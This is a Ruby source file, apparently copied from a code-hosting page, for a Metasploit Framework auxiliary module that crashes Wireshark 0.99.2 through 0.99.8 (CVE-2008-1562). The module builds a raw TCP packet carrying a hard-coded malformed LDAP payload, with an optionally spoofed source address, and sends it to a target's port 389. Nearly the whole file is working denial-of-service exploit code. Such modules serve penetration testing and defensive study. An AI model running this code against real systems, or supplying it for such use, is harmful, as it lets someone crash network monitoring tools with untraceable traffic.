83 lines
1.9 KiB
Ruby
83 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'racket'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Capture
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include Msf::Auxiliary::Dos
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def initialize
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super(
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'Name' => 'Wireshark LDAP dissector DOS',
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'Description' => %q{
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The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers
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to cause a denial of service (application crash) via a malformed packet.
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},
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'Author' => ['MC'],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-1562' ],
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[ 'OSVDB', '43840' ],
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],
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'DisclosureDate' => 'Mar 28 2008')
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register_options([
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OptInt.new('RPORT', [true, 'The destination port', 389]),
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OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
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], self.class)
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deregister_options('FILTER','PCAPFILE')
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end
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def run
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print_status("Sending malformed LDAP packet to #{rhost}")
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m = Rex::Text.rand_text_alpha_lower(3)
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open_pcap
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n = Racket::Racket.new
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n.l3 = Racket::L3::IPv4.new
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n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)
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n.l3.dst_ip = rhost
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n.l3.protocol = 6
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n.l3.id = rand(0x10000)
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n.l3.ttl = 64
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n.l4 = Racket::L4::TCP.new
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n.l4.src_port = rand(65535)+1
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n.l4.seq = rand(0x100000000)
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n.l4.ack = rand(0x100000000)
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n.l4.flag_psh = 1
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n.l4.flag_ack = 1
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n.l4.dst_port = datastore['RPORT'].to_i
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n.l4.window = 3072
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n.l4.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"
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n.l4.fix!(n.l3.src_ip, n.l3.dst_ip, '')
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pkt = n.pack
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capture_sendto(pkt, rhost)
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close_pcap
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end
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end
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